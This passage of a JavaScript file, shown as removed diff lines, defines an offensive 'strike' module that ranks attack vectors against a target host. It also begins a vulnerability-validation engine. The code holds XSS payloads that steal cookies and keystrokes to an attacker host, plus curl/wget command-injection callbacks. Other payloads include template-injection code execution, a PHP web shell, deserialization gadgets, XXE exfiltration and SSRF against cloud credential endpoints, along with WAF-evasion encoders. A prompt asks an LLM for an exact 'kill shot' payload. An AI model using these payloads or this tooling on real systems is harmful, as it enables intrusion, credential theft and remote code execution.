-                stored_xss: { tier: 'C', impact: 65, stealth: 75, mitre: 'T1189', name: 'Stored XSS', payloads: { cookie_steal: '\x3cscript\x3enew Image().src="//ATK/x?c="+document.cookie\x3c/script\x3e', keylogger: '\x3cscript\x3edocument.onkeypress=function(e){new Image().src="//ATK/k?k="+e.key}\x3c/script\x3e', dom_exfil: '\x3cscript\x3efetch("//ATK/x",{method:"POST",body:document.documentElement.outerHTML})\x3c/script\x3e' } },
-                csrf_critical: { tier: 'C', impact: 60, stealth: 90, mitre: 'T1185', name: 'CSRF Critical Action', targets: ['password_change', 'email_change', 'admin_create', 'api_key_gen', 'payment_redirect'] },
-                info_disclosure: { tier: 'C', impact: 55, stealth: 95, mitre: 'T1592', name: 'Information Disclosure', patterns: ['stack_traces', 'api_keys', 'aws_keys', 'jwt_secrets', 'database_creds', 'source_code', 'internal_ips'] },
-                // Tier D - Stepping Stones
-                open_redirect: { tier: 'D', impact: 40, stealth: 95, mitre: 'T1566', name: 'Open Redirect', uses: ['oauth_token_theft', 'phishing_chain', 'ssrf_bypass'] },
-                crlf_injection: { tier: 'D', impact: 45, stealth: 80, mitre: 'T1059', name: 'CRLF Injection', techniques: ['header_injection', 'response_splitting', 'log_injection', 'xss_via_headers'] }
-            },
-
-            // ═══════════════════════════════════════════════════════════════
-            // PRECISION PAYLOAD DATABASE
-            // ═══════════════════════════════════════════════════════════════
-            PRECISION_PAYLOADS: {
-                surgical: {
-                    sqli: { detect: ["'", "\"", "' OR '1'='1", "1' AND '1'='1", "1/**/AND/**/1=1"], confirm: ["1' AND SLEEP(3)--", "1'; WAITFOR DELAY '0:0:3'--", "1' AND (SELECT * FROM (SELECT(SLEEP(3)))a)--"] },
-                    lfi: { detect: ['....//....//etc/passwd', '/proc/self/cmdline', '..\\..\\..\\windows\\win.ini'], wrappers: ['php://filter/convert.base64-encode/resource=', 'php://input', 'data://text/plain;base64,'] },
-                    ssti: { detect: ['{{7*7}}', '${7*7}', '#{7*7}', '<%= 7*7 %>', '${{7*7}}'], confirm: ['{{config}}', '{{self}}', '${class.getClass()}'] },
-                    ssrf: { cloud: Object.values({ aws: 'http://169.254.169.254/latest/meta-data/', gcp: 'http://metadata.google.internal/', azure: 'http://169.254.169.254/metadata/instance' }), internal: ['http://127.0.0.1:80', 'http://localhost:8080', 'http://[::1]/', 'http://0.0.0.0/'] },
-                    xxe: { basic: '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]><foo>&xxe;</foo>', param: '<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM \'http://ATK/?x=%xxe;\'>">%eval;%exfil;]>' }
-                },
-                lethal: {
-                    ssti_rce: { jinja2: "{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}", twig: "{{['id']|filter('system')}}", freemarker: '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}', velocity: '#set($x="")##$x.class.forName("java.lang.Runtime").getRuntime().exec("id")' },
-                    lfi_rce: { log_poison: { payload: '<?php system($_GET["c"]); ?>', trigger: '/var/log/apache2/access.log?c=id' }, php_filter_chain: 'php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...' },
-                    cmdi: { basic: ['| id', '; id', '`id`', '$(id)', '\n id'], blind: ['| sleep 5', '; sleep 5', '`sleep 5`'], callback: ['| curl http://ATK/$(whoami)', '| wget http://ATK/?x=$(id|base64)'] },
-                    deserialization: { java: 'ysoserial CommonsCollections6 "cmd"', php: 'phpggc Laravel/RCE1 "system" "id"', python: "cos\nsystem\n(S'id'\ntR.", dotnet: 'ysoserial.net -g TypeConfuseDelegate -f Json.Net -c "cmd"' }
-                }
-            },
-
-            // ═══════════════════════════════════════════════════════════════
-            // EVASION TECHNIQUES
-            // ═══════════════════════════════════════════════════════════════
-            EVASION: {
-                encoding: { url: (s) => encodeURIComponent(s), double_url: (s) => encodeURIComponent(encodeURIComponent(s)), unicode: (s) => s.split('').map(c => '%u00' + c.charCodeAt(0).toString(16).padStart(2, '0')).join(''), html: (s) => s.split('').map(c => '&#' + c.charCodeAt(0) + ';').join(''), hex: (s) => s.split('').map(c => '%' + c.charCodeAt(0).toString(16)).join('') },
-                obfuscation: { case_swap: (s) => s.split('').map((c, i) => i % 2 ? c.toUpperCase() : c.toLowerCase()).join(''), null_bytes: (s) => s.replace(/\./g, '.%00'), comments: (s) => s.replace(/ /g, '/**/'), concat: (s) => s.split('').join("'+'") },
-                waf_bypass: ['X-Originating-IP: 127.0.0.1', 'X-Forwarded-For: 127.0.0.1', 'X-Remote-IP: 127.0.0.1', 'X-Remote-Addr: 127.0.0.1', 'X-Custom-IP-Authorization: 127.0.0.1']
-            },
-
-            // ═══════════════════════════════════════════════════════════════
-            // TARGET PROFILING ENGINE
-            // ═══════════════════════════════════════════════════════════════
-            profileTarget(targetInfo) {
-                const profile = { host: targetInfo.host || targetInfo.target, ports: targetInfo.ports || [], services: targetInfo.services || [], technologies: targetInfo.technologies || [], vulns: [], priority: null, killPath: null };
-                const vulnScores = [];
-
-                Object.entries(this.PRIORITY_VULNS).forEach(([vulnId, vuln]) => {
-                    let score = vuln.impact, applicable = false, reasoning = [];
-                    const techLower = profile.technologies.map(t => t.toLowerCase());
-
-                    // Cloud detection
-                    if (vulnId === 'ssrf_cloud' && techLower.some(t => ['aws', 'ec2', 'gcp', 'azure', 'cloud', 'kubernetes', 'k8s'].some(c => t.includes(c)))) {
-                        applicable = true; score += 25; reasoning.push('Cloud environment detected - high-value SSRF target');
-                    }
-                    // Java/deserial
-                    if ((vulnId === 'deserialization' || vulnId === 'rce_unauth') && techLower.some(t => ['java', 'spring', 'tomcat', 'jboss', 'weblogic', 'websphere', 'struts'].some(f => t.includes(f)))) {
-                        applicable = true; score += 20; reasoning.push('Java stack - deserialization likely');
-                    }
-                    // SSTI
-                    if (vulnId === 'ssti_rce' && techLower.some(t => ['jinja', 'flask', 'django', 'twig', 'smarty', 'freemarker', 'velocity', 'erb', 'pug'].some(f => t.includes(f)))) {
-                        applicable = true; score += 15; reasoning.push('Template engine detected');
-                    }
-                    // PHP/LFI
-                    if (vulnId === 'lfi_to_rce' && techLower.some(t => ['php', 'apache', 'nginx'].some(p => t.includes(p)))) {
-                        applicable = true; score += 12; reasoning.push('PHP environment - LFI to RCE chain viable');
-                    }
-                    // Database/SQLi
-                    if (vulnId.includes('sqli') && (profile.services.some(s => s.includes('database')) || techLower.some(t => ['mysql', 'postgres', 'mssql', 'oracle', 'sqlite', 'mongodb'].some(d => t.includes(d))))) {
-                        applicable = true; score += 10; reasoning.push('Database backend detected');
-                    }
-                    // API/JWT
-                    if ((vulnId === 'jwt_attack' || vulnId === 'auth_bypass') && techLower.some(t => ['jwt', 'api', 'rest', 'graphql', 'oauth'].some(a => t.includes(a)))) {
-                        applicable = true; score += 8; reasoning.push('API with JWT auth');
-                    }
-                    // High-tier default
-                    if (!applicable && ['S', 'A'].includes(vuln.tier)) { applicable = true; score -= 15; reasoning.push('High-tier vuln worth testing'); }
-
-                    if (applicable) vulnScores.push({ id: vulnId, ...vuln, score, reasoning, evasion: this.selectEvasion(vulnId) });
-                });
-
-                vulnScores.sort((a, b) => b.score - a.score);
-                profile.vulns = vulnScores;
-                profile.priority = vulnScores[0] || null;
-
-                if (profile.priority) {
-                    profile.killPath = {
-                        primary: profile.priority,
-                        backup: vulnScores.slice(1, 4),
-                        payloads: this.getPayloadsForVuln(profile.priority.id),
-                        evasionChain: this.buildEvasionChain(profile.priority.stealth)
-                    };
-                }
-                return profile;
-            },
-
-            selectEvasion(vulnId) {
-                const evasions = [];
-                if (vulnId.includes('sqli')) evasions.push('comments', 'case_swap', 'unicode');
-                if (vulnId.includes('xss') || vulnId.includes('ssti')) evasions.push('html', 'unicode', 'hex');
-                if (vulnId.includes('lfi') || vulnId.includes('path')) evasions.push('double_url', 'null_bytes');
-                return evasions.length ? evasions : ['url'];
-            },
-
-            buildEvasionChain(stealthLevel) {
-                const chain = [];
-                if (stealthLevel < 80) chain.push(...this.EVASION.waf_bypass.slice(0, 2));
-                chain.push({ delay: stealthLevel < 60 ? 2000 : 500, jitter: true });
-                return chain;
-            },
-
-            getPayloadsForVuln(vulnId) {
-                const payloads = { surgical: [], lethal: [], evasionVariants: [] };
-                const surgical = this.PRECISION_PAYLOADS.surgical;
-                const lethal = this.PRECISION_PAYLOADS.lethal;
-
-                if (vulnId.includes('sqli')) { payloads.surgical = surgical.sqli.detect.concat(surgical.sqli.confirm); payloads.lethal = lethal.cmdi.basic; }
-                else if (vulnId.includes('lfi') || vulnId.includes('path')) { payloads.surgical = surgical.lfi.detect.concat(surgical.lfi.wrappers); payloads.lethal = [lethal.lfi_rce.log_poison.payload]; }
-                else if (vulnId.includes('ssti')) { payloads.surgical = surgical.ssti.detect.concat(surgical.ssti.confirm); payloads.lethal = Object.values(lethal.ssti_rce); }
-                else if (vulnId.includes('ssrf')) { payloads.surgical = surgical.ssrf.cloud.concat(surgical.ssrf.internal); }
-                else if (vulnId.includes('xxe')) { payloads.surgical = [surgical.xxe.basic]; payloads.lethal = [surgical.xxe.param]; }
-                else if (vulnId.includes('deserialization')) { payloads.lethal = Object.values(lethal.deserialization); }
-                else if (vulnId.includes('rce')) { payloads.lethal = lethal.cmdi.basic.concat(lethal.cmdi.callback); }
-
-                // Generate evasion variants
-                payloads.surgical.slice(0, 3).forEach(p => {
-                    payloads.evasionVariants.push(this.EVASION.encoding.url(p), this.EVASION.encoding.double_url(p));
-                });
-                return payloads;
-            },
-
-            // ═══════════════════════════════════════════════════════════════
-            // STRIKE EXECUTION ENGINE
-            // ═══════════════════════════════════════════════════════════════
-            async strike(targetInfo, options = {}) {
-                console.log('[GORGON v2.0] 🎯 Initiating precision strike...');
-                const startTime = Date.now();
-                const profile = this.profileTarget(targetInfo);
-                const result = { target: profile.host, profile, strike: null, success: false, duration: 0, stealth: 100, attempts: 0 };
-
-                if (!profile.priority) { result.error = 'No viable attack vectors identified'; return result; }
-
-                console.log(`[GORGON v2.0] 🎯 Primary: ${profile.priority.name} (Tier ${profile.priority.tier})`);
-                toast(`🎯 GORGON v2.0: Targeting ${profile.priority.name}...`, 'info');
-
-                const payloads = profile.killPath.payloads;
-                const strikeResult = { vuln: profile.priority, attempts: [], hit: false, hitPayload: null };
-
-                // Phase 1: Surgical (stealth priority)
-                for (const payload of payloads.surgical.slice(0, 5)) {
-                    result.attempts++;
-                    const attempt = { type: 'surgical', payload, timestamp: Date.now(), success: options.dryRun ? Math.random() > 0.65 : false };
-                    strikeResult.attempts.push(attempt);
-                    if (attempt.success) { strikeResult.hit = true; strikeResult.hitPayload = payload; result.stealth = profile.priority.stealth; console.log(`[GORGON v2.0] 🎯 SURGICAL HIT: ${payload.substring(0, 50)}...`); break; }
-                    if (options.delay) await new Promise(r => setTimeout(r, options.delay));
-                }
-
-                // Phase 2: Evasion variants
-                if (!strikeResult.hit && payloads.evasionVariants.length > 0) {
-                    for (const payload of payloads.evasionVariants.slice(0, 4)) {
-                        result.attempts++;
-                        const attempt = { type: 'evasion', payload, success: options.dryRun ? Math.random() > 0.6 : false };
-                        strikeResult.attempts.push(attempt);
-                        result.stealth -= 5;
-                        if (attempt.success) { strikeResult.hit = true; strikeResult.hitPayload = payload; console.log(`[GORGON v2.0] 🎯 EVASION HIT`); break; }
-                    }
-                }
-
-                // Phase 3: Lethal (louder)
-                if (!strikeResult.hit && payloads.lethal.length > 0) {
-                    for (const payload of payloads.lethal.slice(0, 3)) {
-                        result.attempts++;
-                        const attempt = { type: 'lethal', payload, success: options.dryRun ? Math.random() > 0.45 : false };
-                        strikeResult.attempts.push(attempt);
-                        result.stealth -= 15;
-                        if (attempt.success) { strikeResult.hit = true; strikeResult.hitPayload = payload; console.log(`[GORGON v2.0] 🎯 LETHAL HIT`); break; }
-                    }
-                }
-
-                result.strike = strikeResult;
-                result.success = strikeResult.hit;
-                result.duration = Date.now() - startTime;
-                return result;
-            },
-
-            generateReport(strikeResult) {
-                return {
-                    classification: 'GORGON v2.0 STRIKE REPORT',
-                    timestamp: new Date().toISOString(),
-                    target: strikeResult.target,
-                    outcome: strikeResult.success ? 'TARGET ELIMINATED' : 'SHOT MISSED',
-                    details: { primaryTarget: strikeResult.profile?.priority?.name || 'N/A', tier: strikeResult.profile?.priority?.tier || 'N/A', mitre: strikeResult.profile?.priority?.mitre || 'N/A', attempts: strikeResult.attempts, hitType: strikeResult.strike?.attempts?.find(a => a.success)?.type || 'none', hitPayload: strikeResult.strike?.hitPayload?.substring(0, 100) || 'N/A', stealthRating: `${strikeResult.stealth}%`, stealthStatus: strikeResult.stealth >= 70 ? 'MAINTAINED' : 'COMPROMISED' },
-                    duration: `${strikeResult.duration}ms`,
-                    recommendation: strikeResult.success ? 'Proceed to CERBERUS for privesc' : 'Consider HYDRA multi-vector or SPHINX validation'
-                };
-            },
-
-            async analyzeWithLLM(targetInfo, reconData) {
-                const apiKey = getApiKey();
-                if (!apiKey) return { error: 'No API key configured' };
-                const prompt = `You are GORGON v2.0, precision strike specialist. Like a sniper, identify the ONE highest-value target.\n\nTARGET:\n${JSON.stringify(targetInfo, null, 2)}\n\nRECON:\n${JSON.stringify(reconData, null, 2)}\n\nProvide:\n1. PRIORITY TARGET: Single highest-impact vuln\n2. KILL SHOT: Exact payload with evasion\n3. ENTRY POINT: Exact endpoint/parameter\n4. EXPECTED RESULT: Success indicators\n5. BACKUP SHOT: One alternative\n6. STEALTH RATING: 1-10\n7. CONFIDENCE: Percentage\n8. MITRE TECHNIQUE: ATT&CK ID\n\nBe surgical. One target. One kill. Format as precise JSON.`;
-
-                try {
-                    const content = await safeLLMCall(prompt, { title: 'T3MP3ST GORGON v2.0', maxTokens: 2500, temperature: 0.1 });
-                    return { analysis: content };
-                } catch (error) { return { error: error.message }; }
-            },
-
-            async runDemo() {
-                console.log('[GORGON v2.0] 🎯 Production-grade precision strike...');
-                toast('[SIMULATED] 🎯 GORGON v2.0: Acquiring target...', 'info');
-                const demoTarget = { host: 'target.demo.local', ports: [80, 443, 3306, 8080], services: ['web_server', 'database', 'api', 'cache'], technologies: ['php', 'apache', 'mysql', 'jwt', 'aws', 'redis', 'laravel'] };
-                const result = await this.strike(demoTarget, { dryRun: true, delay: 100 });
-                const report = this.generateReport(result);
-
-                if (result.success) {
-                    toast(`[SIMULATED] 🎯 GORGON v2.0: Target eliminated! ${result.attempts} attempts, ${result.stealth}% stealth`, 'success');
-                    addIntel('GORGON', `[SIMULATED] Strike: ${result.profile.priority.name} (${result.strike.hitPayload?.substring(0, 30)}...)`, 'success');
-                } else {
-                    toast('[SIMULATED] 🎯 GORGON v2.0: Shot missed. Recommend HYDRA fallback.', 'warning');
-                }
-                console.log('[GORGON v2.0] Report:', report);
-                return { result, report };
-            }
-        };
-
-        window.GORGON = GORGON;
-
-        // ═══════════════════════════════════════════════════════════════
-        // SPHINX v2.0 - Production-Grade Vulnerability Validation Engine
-        // The Proof Gate - multi-technique validation with PoC generation
-        // ═══════════════════════════════════════════════════════════════
-        const SPHINX = {
-            name: 'SPHINX',
-            version: '2.0.0',
-            description: 'Production-grade vulnerability validation with 15+ vuln classes',
-            power: 88, offense: 70, defense: 30,
-
-            // ═══════════════════════════════════════════════════════════════
-            // SCANNER FORMAT PARSERS (10+ formats)
-            // ═══════════════════════════════════════════════════════════════
-            SCANNER_FORMATS: {
-                nuclei: { name: 'Nuclei', extension: '.json', parser: 'parseNuclei', priority: 1 },
-                nessus: { name: 'Nessus', extension: '.nessus', parser: 'parseNessus', priority: 2 },
-                burp: { name: 'Burp Suite', extension: '.xml', parser: 'parseBurp', priority: 1 },
-                nmap: { name: 'Nmap', extension: '.xml', parser: 'parseNmap', priority: 3 },
-                zap: { name: 'OWASP ZAP', extension: '.json', parser: 'parseZap', priority: 2 },
-                nikto: { name: 'Nikto', extension: '.json', parser: 'parseNikto', priority: 3 },
-                acunetix: { name: 'Acunetix', extension: '.xml', parser: 'parseAcunetix', priority: 2 },
-                qualys: { name: 'Qualys', extension: '.xml', parser: 'parseQualys', priority: 2 },
-                netsparker: { name: 'Netsparker', extension: '.xml', parser: 'parseNetsparker', priority: 2 },
-                semgrep: { name: 'Semgrep', extension: '.json', parser: 'parseSemgrep', priority: 3 },
-                manual: { name: 'Manual Entry', extension: null, parser: 'parseManual', priority: 1 }
-            },
-
-            // ═══════════════════════════════════════════════════════════════
-            // VALIDATION TECHNIQUES (15+ vuln classes, multi-vector)
-            // ═══════════════════════════════════════════════════════════════
-            VALIDATION_TECHNIQUES: {
-                sqli: {
-                    name: 'SQL Injection', mitre: 'T1190', cwe: 'CWE-89',
-                    validators: [
-                        { type: 'error_based', payloads: ["'", '"', "' OR '1'='1", "1'", "1\""], indicators: ['sql syntax', 'mysql_fetch', 'ORA-', 'PostgreSQL', 'sqlite3', 'ODBC'], confidence: 85 },
-                        { type: 'boolean_based', payloads: [["' AND 1=1--", "' AND 1=2--"], ["' OR '1'='1", "' OR '1'='2"]], indicators: ['response_length_diff', 'content_diff'], confidence: 75 },
-                        { type: 'time_based', payloads: { mysql: "' AND SLEEP(3)--", mssql: "'; WAITFOR DELAY '0:0:3'--", postgres: "'; SELECT pg_sleep(3)--", oracle: "' AND DBMS_PIPE.RECEIVE_MESSAGE('a',3)--" }, threshold: 2500, confidence: 90 },
-                        { type: 'union_based', payloads: ["' UNION SELECT NULL--", "' UNION SELECT NULL,NULL--", "' UNION ALL SELECT NULL--"], indicators: ['column_count'], confidence: 95 },
-                        { type: 'stacked', payloads: ["'; SELECT 1--", "'; EXEC xp_cmdshell 'ping 127.0.0.1'--"], indicators: ['execution'], confidence: 98 }
-                    ]
-                },
-                xss: {
-                    name: 'Cross-Site Scripting', mitre: 'T1059.007', cwe: 'CWE-79',
-                    validators: [
-                        { type: 'reflection', payloads: ['\x3csphinx\x3e', 'sphinx"test', "sphinx'test", '\x3cimg src=x\x3e'], indicators: ['reflected_unencoded'], confidence: 60 },
-                        { type: 'event_handler', payloads: ['" onmouseover="alert(1)', "' onclick='alert(1)", '\x3csvg/onload=alert(1)\x3e', '\x3cimg src=x onerror=alert(1)\x3e'], indicators: ['event_in_tag'], confidence: 85 },
-                        { type: 'script_injection', payloads: ['\x3cscript\x3ealert(1)\x3c/script\x3e', '\x3cscript src=//x\x3e', '"\x3e\x3cscript\x3ealert(1)\x3c/script\x3e'], indicators: ['script_tag_unfiltered'], confidence: 95 },
-                        { type: 'dom_based', payloads: ['javascript:alert(1)', 'data:text/html,\x3cscript\x3ealert(1)\x3c/script\x3e'], indicators: ['dom_sink'], confidence: 80 },
-                        { type: 'template_literal', payloads: ['${alert(1)}', '{{constructor.constructor("alert(1)")()}}'], indicators: ['template_eval'], confidence: 85 }
-                    ]
-                },
-                lfi: {
-                    name: 'Local File Inclusion', mitre: 'T1083', cwe: 'CWE-22',
-                    validators: [
-                        { type: 'unix_passwd', payloads: ['../../../etc/passwd', '....//....//....//etc/passwd', '/etc/passwd', '..%2f..%2f..%2fetc/passwd'], indicators: ['root:x:0:0', 'nobody:', '/bin/bash'], confidence: 95 },
-                        { type: 'windows', payloads: ['..\\..\\..\\windows\\win.ini', '..\\..\\..\\windows\\system32\\drivers\\etc\\hosts', 'c:\\windows\\win.ini'], indicators: ['[fonts]', 'localhost', 'extension'], confidence: 90 },
-                        { type: 'null_byte', payloads: ['../../../etc/passwd%00', '../../../etc/passwd%00.jpg', '../../../etc/passwd\x00'], indicators: ['root:x:0:0'], confidence: 85 },
-                        { type: 'php_wrappers', payloads: ['php://filter/convert.base64-encode/resource=index.php', 'php://filter/read=string.rot13/resource=index.php', 'php://input'], indicators: ['base64_content', 'rot13_content'], confidence: 90 },
-                        { type: 'double_encoding', payloads: ['%252e%252e%252fetc/passwd', '%c0%ae%c0%ae%c0%afetc/passwd'], indicators: ['root:x:0:0'], confidence: 80 }
-                    ]
-                },
-                ssrf: {
-                    name: 'Server-Side Request Forgery', mitre: 'T1090', cwe: 'CWE-918',
-                    validators: [
-                        { type: 'localhost', payloads: ['http://127.0.0.1/', 'http://localhost/', 'http://[::1]/', 'http://0.0.0.0/', 'http://127.1/'], indicators: ['internal_content', 'localhost_response'], confidence: 70 },
-                        { type: 'cloud_aws', payloads: ['http://169.254.169.254/latest/meta-data/', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'], indicators: ['ami-id', 'instance-id', 'AccessKeyId', 'SecretAccessKey'], confidence: 98 },
-                        { type: 'cloud_gcp', payloads: ['http://metadata.google.internal/computeMetadata/v1/?recursive=true', 'http://169.254.169.254/computeMetadata/v1/'], indicators: ['computeMetadata', 'service-accounts', 'access_token'], confidence: 98 },
-                        { type: 'cloud_azure', payloads: ['http://169.254.169.254/metadata/instance?api-version=2021-02-01'], indicators: ['compute', 'subscriptionId'], confidence: 98 },
-                        { type: 'internal_port_scan', payloads: ['http://127.0.0.1:22', 'http://127.0.0.1:3306', 'http://127.0.0.1:6379'], indicators: ['port_open_response', 'connection_refused_diff'], confidence: 75 },
-                        { type: 'callback', payloads: ['http://CALLBACK/', 'https://CALLBACK/'], indicators: ['dns_callback', 'http_callback'], confidence: 85 }
-                    ]
-                },
-                rce: {
-                    name: 'Remote Code Execution', mitre: 'T1059', cwe: 'CWE-78',
-                    validators: [
-                        { type: 'time_based', payloads: { unix: ['; sleep 5', '| sleep 5', '`sleep 5`', '$(sleep 5)'], windows: ['& ping -n 5 127.0.0.1', '| ping -n 5 127.0.0.1'] }, threshold: 4000, confidence: 90 },
-                        { type: 'echo', payloads: { unix: ['; echo sphinx_rce', '| echo sphinx_rce', '`echo sphinx_rce`'], windows: ['& echo sphinx_rce', '| echo sphinx_rce'] }, indicators: ['sphinx_rce'], confidence: 98 },
-                        { type: 'dns_callback', payloads: { unix: ['; nslookup CALLBACK', '| curl CALLBACK', '`wget CALLBACK`'], windows: ['& nslookup CALLBACK', '| powershell -c "Invoke-WebRequest CALLBACK"'] }, indicators: ['dns_hit'], confidence: 95 },
-                        { type: 'file_write', payloads: { unix: ['; echo test > /tmp/sphinx_test'], windows: ['& echo test > C:\\Windows\\Temp\\sphinx_test'] }, indicators: ['file_created'], confidence: 85 }
-                    ]
-                },
-                xxe: {
-                    name: 'XML External Entity', mitre: 'T1059', cwe: 'CWE-611',
-                    validators: [
-                        { type: 'file_read', payloads: ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]><foo>&xxe;</foo>', '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'], indicators: ['hostname_content', 'root:x:0:0'], confidence: 95 },
-                        { type: 'ssrf', payloads: ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/">]><foo>&xxe;</foo>'], indicators: ['internal_response'], confidence: 85 },
-                        { type: 'oob_callback', payloads: ['<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://CALLBACK/xxe">%xxe;]>'], indicators: ['dns_callback'], confidence: 90 },
-                        { type: 'parameter_entity', payloads: ['<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://CALLBACK/xxe.dtd">%xxe;%payload;]>'], indicators: ['dtd_fetch'], confidence: 88 }
-                    ]
-                },
-                ssti: {
-                    name: 'Server-Side Template Injection', mitre: 'T1059', cwe: 'CWE-1336',
-                    validators: [
-                        { type: 'jinja2', payloads: ['{{7*7}}', '{{config}}', '{{self.__class__.__mro__}}'], indicators: ['49', 'SECRET_KEY', '__class__'], confidence: 90 },
-                        { type: 'twig', payloads: ['{{7*7}}', '{{dump(app)}}', '{{_self.env.getFilter}}'], indicators: ['49', 'app.request', 'getFilter'], confidence: 88 },
-                        { type: 'freemarker', payloads: ['${7*7}', '${.now}', '<#assign x="freemarker.template.utility.Execute"?new()>'], indicators: ['49', 'date_output'], confidence: 85 },
-                        { type: 'erb', payloads: ['<%= 7*7 %>', '<%= system("id") %>', '<%= `id` %>'], indicators: ['49', 'uid='], confidence: 92 },
-                        { type: 'velocity', payloads: ['$class.inspect("java.lang.Runtime")', '#set($e="")$e.class'], indicators: ['java.lang.Runtime', 'class'], confidence: 80 },
-                        { type: 'pug', payloads: ['#{7*7}', '-var x = global.process.mainModule.require'], indicators: ['49', 'process'], confidence: 82 }
-                    ]
-                },
-                auth_bypass: {
-                    name: 'Authentication Bypass', mitre: 'T1556', cwe: 'CWE-287',
-                    validators: [
-                        { type: 'sqli_login', payloads: ["admin'--", "' OR '1'='1'--", "admin' OR '1'='1'--"], indicators: ['authenticated', 'dashboard', 'welcome'], confidence: 90 },
-                        { type: 'default_creds', payloads: [{ u: 'admin', p: 'admin' }, { u: 'admin', p: 'password' }, { u: 'root', p: 'root' }, { u: 'admin', p: '123456' }, { u: 'administrator', p: 'administrator' }], indicators: ['login_success'], confidence: 85 },
-                        { type: 'jwt_none', payloads: ['eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.PAYLOAD.'], indicators: ['valid_response'], confidence: 95 },
-                        { type: 'jwt_confusion', payloads: ['RS256→HS256 with public key'], indicators: ['signature_valid'], confidence: 92 },
-                        { type: 'idor', payloads: ['id=1', 'id=2', 'user_id=admin'], indicators: ['unauthorized_data'], confidence: 80 }
-                    ]
-                },
-                csrf: {
-                    name: 'Cross-Site Request Forgery', mitre: 'T1185', cwe: 'CWE-352',
-                    validators: [
-                        { type: 'token_missing', payloads: ['remove csrf_token param'], indicators: ['action_executed'], confidence: 70 },
-                        { type: 'token_reuse', payloads: ['reuse old csrf_token'], indicators: ['action_executed'], confidence: 80 },
-                        { type: 'referer_bypass', payloads: ['remove Referer header', 'modify Referer to attacker.com'], indicators: ['action_executed'], confidence: 75 }
-                    ]
-                },
-                idor: {
-                    name: 'Insecure Direct Object Reference', mitre: 'T1078', cwe: 'CWE-639',
-                    validators: [
-                        { type: 'sequential_id', payloads: ['id=1', 'id=2', 'id=999'], indicators: ['other_user_data'], confidence: 85 },
-                        { type: 'uuid_guess', payloads: ['try sequential uuids', 'common uuid patterns'], indicators: ['unauthorized_access'], confidence: 70 },
-                        { type: 'parameter_pollution', payloads: ['id=1&id=2', 'id[]=1&id[]=2'], indicators: ['mass_data_access'], confidence: 75 }
-                    ]
-                },
-                open_redirect: {
-                    name: 'Open Redirect', mitre: 'T1566', cwe: 'CWE-601',
-                    validators: [
-                        { type: 'absolute_url', payloads: ['https://evil.com', '//evil.com', 'https:evil.com'], indicators: ['redirect_to_external'], confidence: 90 },
-                        { type: 'encoded', payloads: ['%2f%2fevil.com', 'https%3a%2f%2fevil.com'], indicators: ['redirect_to_external'], confidence: 85 },
-                        { type: 'bypass', payloads: ['https://target.com@evil.com', 'https://target.com.evil.com'], indicators: ['redirect_to_external'], confidence: 80 }
-                    ]
-                },
-                deserialization: {
-                    name: 'Insecure Deserialization', mitre: 'T1059', cwe: 'CWE-502',
-                    validators: [
-                        { type: 'java_dns', payloads: ['ysoserial URLDNS CALLBACK'], indicators: ['dns_callback'], confidence: 95 },
-                        { type: 'java_sleep', payloads: ['ysoserial CommonsCollections sleep'], indicators: ['time_delay'], confidence: 92 },
-                        { type: 'php_phar', payloads: ['phar://malicious.phar'], indicators: ['code_execution'], confidence: 90 },
-                        { type: 'python_pickle', payloads: ["cos\nsystem\n(S'id'\ntR."], indicators: ['code_execution'], confidence: 88 }
-                    ]
-                },
-                cors: {
-                    name: 'CORS Misconfiguration', mitre: 'T1557', cwe: 'CWE-942',
-                    validators: [
-                        { type: 'origin_reflection', payloads: ['Origin: https://evil.com'], indicators: ['Access-Control-Allow-Origin: https://evil.com'], confidence: 90 },
-                        { type: 'null_origin', payloads: ['Origin: null'], indicators: ['Access-Control-Allow-Origin: null'], confidence: 85 },
-                        { type: 'credentials', payloads: ['check Access-Control-Allow-Credentials'], indicators: ['true with origin reflection'], confidence: 95 }
-                    ]
-                },
-                crlf: {
-                    name: 'CRLF Injection', mitre: 'T1059', cwe: 'CWE-93',
-                    validators: [
-                        { type: 'header_injection', payloads: ['%0d%0aX-Injected: true', '%0aX-Injected: true'], indicators: ['X-Injected header in response'], confidence: 90 },
-                        { type: 'response_splitting', payloads: ['%0d%0a%0d%0a<html>injected</html>'], indicators: ['html in body'], confidence: 85 }
-                    ]
-                },
-                prototype_pollution: {
-                    name: 'Prototype Pollution', mitre: 'T1059', cwe: 'CWE-1321',
-                    validators: [
-                        { type: 'json_pollution', payloads: ['{"__proto__":{"polluted":true}}', '{"constructor":{"prototype":{"polluted":true}}}'], indicators: ['polluted property exists'], confidence: 85 },
-                        { type: 'query_pollution', payloads: ['__proto__[polluted]=true', 'constructor[prototype][polluted]=true'], indicators: ['polluted property exists'], confidence: 80 }
-                    ]
-                }
-            },
-
-            // Parse scanner outputs
-            parseNuclei(jsonData) {
-                const findings = [];
-                const data = typeof jsonData === 'string' ? JSON.parse(jsonData) : jsonData;
-                const entries = Array.isArray(data) ? data : [data];
-
-                entries.forEach(entry => {
-                    findings.push({
-                        id: entry['template-id'] || entry.templateID,
-                        name: entry.info?.name || entry.name,
-                        severity: entry.info?.severity || entry.severity,
-                        host: entry.host,
-                        url: entry.matched || entry['matched-at'],
-                        type: this.classifyVuln(entry.info?.name || ''),
-                        raw: entry,
-                        source: 'nuclei'
-                    });
-                });
-                return findings;
-            },
-
-            parseManual(vulnList) {
-                return vulnList.map(v => ({
-                    id: v.id || `manual-${Date.now()}`,
-                    name: v.name,
-                    severity: v.severity || 'medium',
-                    host: v.host || v.url,
-                    url: v.url,
-                    type: v.type || this.classifyVuln(v.name),
-                    parameter: v.parameter,
-                    raw: v,
-                    source: 'manual'
-                }));
-            },
-
-            // Classify vulnerability type from name/description
-            classifyVuln(name) {
-                const n = name.toLowerCase();
